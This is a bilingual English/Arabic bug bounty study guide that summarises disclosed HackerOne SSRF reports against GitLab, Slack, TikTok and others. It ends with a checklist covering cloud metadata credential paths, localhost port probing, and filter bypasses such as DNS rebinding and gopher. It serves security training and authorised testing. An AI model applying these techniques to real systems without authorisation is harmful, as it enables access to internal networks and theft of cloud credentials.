 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

#9 SSRF in GraphQL Query at EXNESS

Field Details

Company / Program EXNESS

HackerOne URL [Link]

SSRF Type Blind SSRF → Internal Access

Vulnerability Type SSRF + GraphQL

Severity HIGH

Bounty $3,000

Community Upvotes 249

SUMMARY | ‫الملخص‬
A GraphQL query accepted a URL parameter for fetching external resources with no validation, enabling SSRF to
internal services and network topology probing.

.‫ للسيرفرات الداخلية واستكشاف الشبكة‬SSRF — ‫ لجلب موارد خارجية بدون تحقق‬URL parameter ‫ قبلت‬GraphQL query

ENTRY POINT — how did the server get tricked into making the request?
GraphQL query with URL-type argument

PAYLOAD USED
query { fetchExternalResource(url: "[Link] }

EXPLOITATION STEPS | ‫خطوات االستغالل‬

38. 1. Discover the GraphQL endpoint
39. 2. Run introspection to list queries/mutations
40. 3. Find any field accepting a URL-typed argument
41. 4. Test with Collaborator URL first, then metadata endpoint

SIGNAL — What feature betrayed its server-side fetching?

GraphQL introspection reveals field types — any String field named url/endpoint/source/webhook is an SSRF
candidate.

KEY LESSON | ‫الدرس األساسي‬

GraphQL introspection is your best tool for SSRF discovery — run it on every GraphQL endpoint you find.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

On any app with GraphQL: run introspection, find URL/String fields in mutations and queries, test each for SSRF.

#10 Unauthenticated Blind SSRF in GitLab Jira OAuth Controller

Field Details

Company / Program GitLab

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

HackerOne URL [Link]

SSRF Type Blind SSRF + No Auth Required

Vulnerability Type Blind SSRF + Unauthenticated

Severity HIGH

Bounty $4,000

Community Upvotes 232

SUMMARY | ‫الملخص‬
The Jira integration setup controller made server-side requests to the configured instance URL — reachable WITHOUT
authentication, letting any attacker trigger SSRF.

.‫ خالص‬authentication ‫ المحدد — متاح بدون‬URL ‫ للـ‬server-side requests ‫ كان بيعمل‬Jira ‫ إعداد تكامل‬controller

ENTRY POINT — how did the server get tricked into making the request?
Unauthenticated Jira OAuth setup endpoint

PAYLOAD USED
POST /import/jira with the attacker's URL set as the Jira instance URL

EXPLOITATION STEPS | ‫خطوات االستغالل‬

42. 1. Navigate to the Jira integration setup page (no login needed)
43. 2. Set the Jira instance URL to an internal target
44. 3. Submit — server attempts to connect to "Jira"
45. 4. Check Collaborator for the DNS/HTTP ping

SIGNAL — What feature betrayed its server-side fetching?

Integration setup pages often make test connections to the configured URL — always test these, especially without
logging in first.

KEY LESSON | ‫الدرس األساسي‬

Unauthenticated SSRF is more severe: no account or credentials needed to exploit. Always test integration setup forms
pre-login.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

Find integration config pages (Jira, Slack, webhooks) and try submitting internal URLs WITHOUT being logged in.

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

#11 Full Read SSRF on GitLab Internal Grafana

Field Details

Company / Program GitLab

HackerOne URL [Link]

SSRF Type Full-Read SSRF → Internal Service

Vulnerability Type SSRF + Monitoring Dashboard Access

Severity HIGH

Bounty $0

Community Upvotes 223

SUMMARY | ‫الملخص‬
Through SSRF in GitLab, the researcher accessed an internal Grafana monitoring dashboard normally reachable only
from within the internal network.

.‫ داخلي متاح فقط من الشبكة الداخلية‬Grafana monitoring dashboard ‫ الباحث وصل لـ‬،GitLab ‫ في‬SSRF ‫عبر‬

ENTRY POINT — how did the server get tricked into making the request?
SSRF in GitLab features (import, webhooks, integrations)

PAYLOAD USED
[Link] (Grafana default port)

EXPLOITATION STEPS | ‫خطوات االستغالل‬

46. 1. Find SSRF in GitLab (import/webhooks)
47. 2. Test common monitoring ports: 3000 (Grafana), 9090 (Prometheus)
48. 3. [Link] returns Grafana login page
49. 4. Test API: [Link]
50. 5. Grafana often has no auth on localhost — full dashboard returned

SIGNAL — What feature betrayed its server-side fetching?

Internal monitoring services (Grafana, Prometheus, Kibana) almost always run on predictable localhost ports — high-
value SSRF targets.

KEY LESSON | ‫الدرس األساسي‬

After confirming SSRF, always probe monitoring ports: 3000, 5601, 8080, 9090, 9200. Consistently valuable.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

With any confirmed SSRF: scan ports 3000, 5601, 8080, 9090, 9200 on localhost for unauthenticated dashboards.

#12 SSRF in Payment Webhooks Leaks AWS Keys

Field Details

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

Company / Program Omise

HackerOne URL [Link]

SSRF Type Full-Read SSRF via Webhooks

Vulnerability Type SSRF + Webhooks + AWS Keys

Severity CRITICAL

Bounty $0

Community Upvotes 208

SUMMARY | ‫الملخص‬
Merchants could configure payment webhook URLs. Setting the webhook to AWS metadata caused the payment
notification POST to reveal AWS credentials.

AWS ‫ خّلى إشعار الدفع يكشف‬AWS metadata ‫ لـ‬webhook ‫ تحديد الـ‬.‫ للدفع‬webhook URLs ‫ يقدروا يحددوا‬merchants ‫الـ‬
.credentials

ENTRY POINT — how did the server get tricked into making the request?
Webhook URL configuration in merchant dashboard

PAYLOAD USED
[Link]
role

EXPLOITATION STEPS | ‫خطوات االستغالل‬

51. 1. Register as a merchant/developer
52. 2. Set webhook URL to the metadata endpoint
53. 3. Trigger a test payment event
54. 4. Server POSTs to the "webhook" (actually metadata) and includes the response in the
notification

SIGNAL — What feature betrayed its server-side fetching?

Webhook URL configuration is THE most common SSRF vector across B2B platforms. Always test any "notify me at
this URL" feature.

KEY LESSON | ‫الدرس األساسي‬

Webhook SSRF is universal: payment processors, CI/CD, collaboration tools, IoT. Always test webhook config first.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

Find every "webhook"/"callback URL" setting you can configure. Test with Collaborator first, then [Link].

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

#13 Blind SSRF via Sentry Alert Webhooks at HackerOne

Field Details

Company / Program HackerOne

HackerOne URL [Link]

SSRF Type Blind SSRF via Sentry

Vulnerability Type Blind SSRF + Third-Party Tool

Severity HIGH

Bounty $3,500

Community Upvotes 139

SUMMARY | ‫الملخص‬
HackerOne's error-tracking tool (Sentry) allowed configuring alert webhooks to any URL. The researcher confirmed
Blind SSRF from Sentry's server-side infrastructure.

‫ من سيرفرات‬Blind SSRF ‫ الباحث أثبت‬.URL ‫ ألي‬alert webhooks ‫ سمحت بتحديد‬HackerOne ‫) بتاعة‬Sentry ( ‫أداة تتبع األخطاء‬
.Sentry

ENTRY POINT — how did the server get tricked into making the request?
Sentry alert webhook configuration (integration feature)

PAYLOAD USED
[Link]

EXPLOITATION STEPS | ‫خطوات االستغالل‬

55. 1. Access Sentry Settings → Integrations → Webhooks
56. 2. Set webhook URL to Collaborator
57. 3. Trigger/test the alert
58. 4. Collaborator receives HTTP request from Sentry's server — private IP range confirms
internal position

SIGNAL — What feature betrayed its server-side fetching?

Integrated third-party tools (error tracking, monitoring, ticketing) often have their own webhook features that are
themselves SSRF vectors.

KEY LESSON | ‫الدرس األساسي‬

Attack surface includes integrated tools, not just the main app. Identify what your target uses (Sentry, Datadog) and test
their configs.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

Identify third-party tools your target integrates (visible in page source/errors). Test any webhook feature they expose.

#14 SSRF via HLS Media Processing at TikTok

Field Details

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

Company / Program TikTok

HackerOne URL [Link]

SSRF Type SSRF via Media Processing

Vulnerability Type SSRF + FFmpeg + File Format Injection

Severity HIGH

Bounty $2,727

Community Upvotes 154

SUMMARY | ‫الملخص‬
A crafted HLS playlist (.m3u8) containing malicious URLs caused server-side FFmpeg processing to make HTTP
requests to those URLs during video upload handling.

.‫ لها أثناء معالجة رفع الفيديو‬HTTP requests ‫ على السيرفر يعمل‬FFmpeg ‫ خبيثة خّلى‬URLs ‫ مصنوع بـ‬HLS playlist ‫ملف‬

ENTRY POINT — how did the server get tricked into making the request?
Video upload feature (HLS .m3u8 playlist file)

PAYLOAD USED
#EXTM3U\n#EXT-X-STREAM-INF:BANDWIDTH=150000\n[Link]
data/

EXPLOITATION STEPS | ‫خطوات االستغالل‬

59. 1. Craft a malicious .m3u8 playlist file containing the metadata URL
60. 2. Upload it as a "video" to the platform
61. 3. Server-side FFmpeg processes the HLS file
62. 4. FFmpeg makes an HTTP request to the embedded URL
63. 5. Confirm via Collaborator ping or error leak

SIGNAL — What feature betrayed its server-side fetching?

Media processing (transcoding, audio conversion, PDF generation) uses libraries that make HTTP requests — often
bypassing standard URL param validation.

KEY LESSON | ‫الدرس األساسي‬

File-format SSRF: HLS, SVG, XML/XXE, and annotated PDFs can carry embedded URLs the processing library
fetches — a bypass for normal filters.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

On video/media platforms: craft malicious HLS or SVG files with internal URLs; the processing library makes the
request for you.

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

#15 SSRF via Office File Thumbnails on Slack

Field Details

Company / Program Slack

HackerOne URL [Link]

SSRF Type Blind SSRF via File Parsing

Vulnerability Type SSRF + Document Thumbnail Generation

Severity HIGH

Bounty $4,000

Community Upvotes 102

SUMMARY | ‫الملخص‬
Slack generated thumbnails for uploaded Office documents. Embedding external OLE object references in a .docx
caused the thumbnail generator to make server-side requests to attacker-controlled URLs.

thumbnail ‫ خّلى موّلد الـ‬docx . ‫ خارجية في‬OLE object references ‫ تضمين‬.‫ المرفوعة‬Office ‫ لمستندات‬thumbnails ‫ بتوّلد‬Slack
.server-side requests ‫يعمل‬

ENTRY POINT — how did the server get tricked into making the request?
Office document upload (thumbnail generation feature)

PAYLOAD USED
Crafted .docx with an OLE object referencing [Link]

EXPLOITATION STEPS | ‫خطوات االستغالل‬

64. 1. Create a .docx with an embedded OLE object or remote image reference
65. 2. Point the remote resource URL to Collaborator
66. 3. Upload the .docx as a file attachment
67. 4. Slack generates a thumbnail preview → fetches the embedded URL
68. 5. Collaborator receives the ping — Blind SSRF confirmed

SIGNAL — What feature betrayed its server-side fetching?

Document preview/thumbnail generation for Office files, PDFs, and similar formats often parses embedded URLs
without treating them as user input.

KEY LESSON | ‫الدرس األساسي‬

You can embed external URLs in .docx (OLE), .xlsx (data connections), and .svg (image src) — processing these
triggers server-side requests.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

On platforms generating previews of uploaded files: craft documents with embedded external references and use
Collaborator to detect the fetch.

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SECTION 9: SSRF HUNTING CHECKLIST | ‫ قائمة مراجعة‬SSRF

SSRF ‫ جديد للـ‬target ‫استخدم القائمة دي كل مرة تختبر‬

DISCOVERY | ‫االكتشاف‬

• [ ] Map features accepting URL inputs: url=, src=, fetch=, image=, webhook=, import=
• [ ] Check request BODIES (JSON), not just query params
• [ ] Look for "fetch from URL" / "import from web" / "thumbnail from URL" features
• [ ] Check webhook/callback URL settings in account/integration pages
• [ ] Examine JavaScript source for API endpoints with URL parameters
• [ ] Test URL-based file/image upload options

BASIC TESTING | ‫االختبار األساسي‬

• [ ] Try Collaborator URL first — confirms any outbound server request

• [ ] Try [Link] — different response than external URLs?
• [ ] Try [Link] — cloud metadata
• [ ] Compare response size/time between internal and external URLs

CLOUD METADATA ESCALATION | ‫ تصعيد‬Cloud Metadata

• [ ] AWS: GET [Link]

• [ ] AWS: GET .../iam/security-credentials/{role}
• [ ] GCP: GET [Link]/computeMetadata/v1/ (+ header)
• [ ] Azure: GET [Link]/metadata/instance (+ header)
• [ ] If credentials found: report immediately as Critical!

INTERNAL NETWORK PROBING | ‫استكشاف الشبكة الداخلية‬

• [ ] Port scan localhost: 3000, 6379, 8080, 9090, 9200

• [ ] Probe internal ranges: [Link], [Link], [Link]
• [ ] Use response timing to distinguish open vs closed ports

BYPASS TESTING | ‫ اختبار الـ‬Bypass

• [ ] IP obfuscation: decimal, hex, IPv6 notation

• [ ] DNS tricks: [Link], your own domain pointing to internal IP
• [ ] Open redirect chain through an allowed domain
• [ ] Protocol switch: [Link] dict://, gopher://

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

REPORTING | ‫كتابة التقرير‬

• [ ] Title: "SSRF via [feature] allows access to [target] on [company] servers"

• [ ] Specify type: Basic / Blind / Full-Read + what was accessed
• [ ] Include full request + response (or Collaborator screenshot if Blind)
• [ ] State cloud environment and whether metadata was accessed
• [ ] If keys obtained: include only key ID + role name, not the full secret

Godspeed — ‫وبالتوفيق في الجيش وبعده‬

‫ الوقت اللي بتستثمره دلوقتي هيفرق كتير لما تبدأ الـ‬Bug Bounty
All reports from HackerOne Hacktivity (publicly disclosed) | For educational purposes only

For Educational Purposes Only | Study hard, hunt smart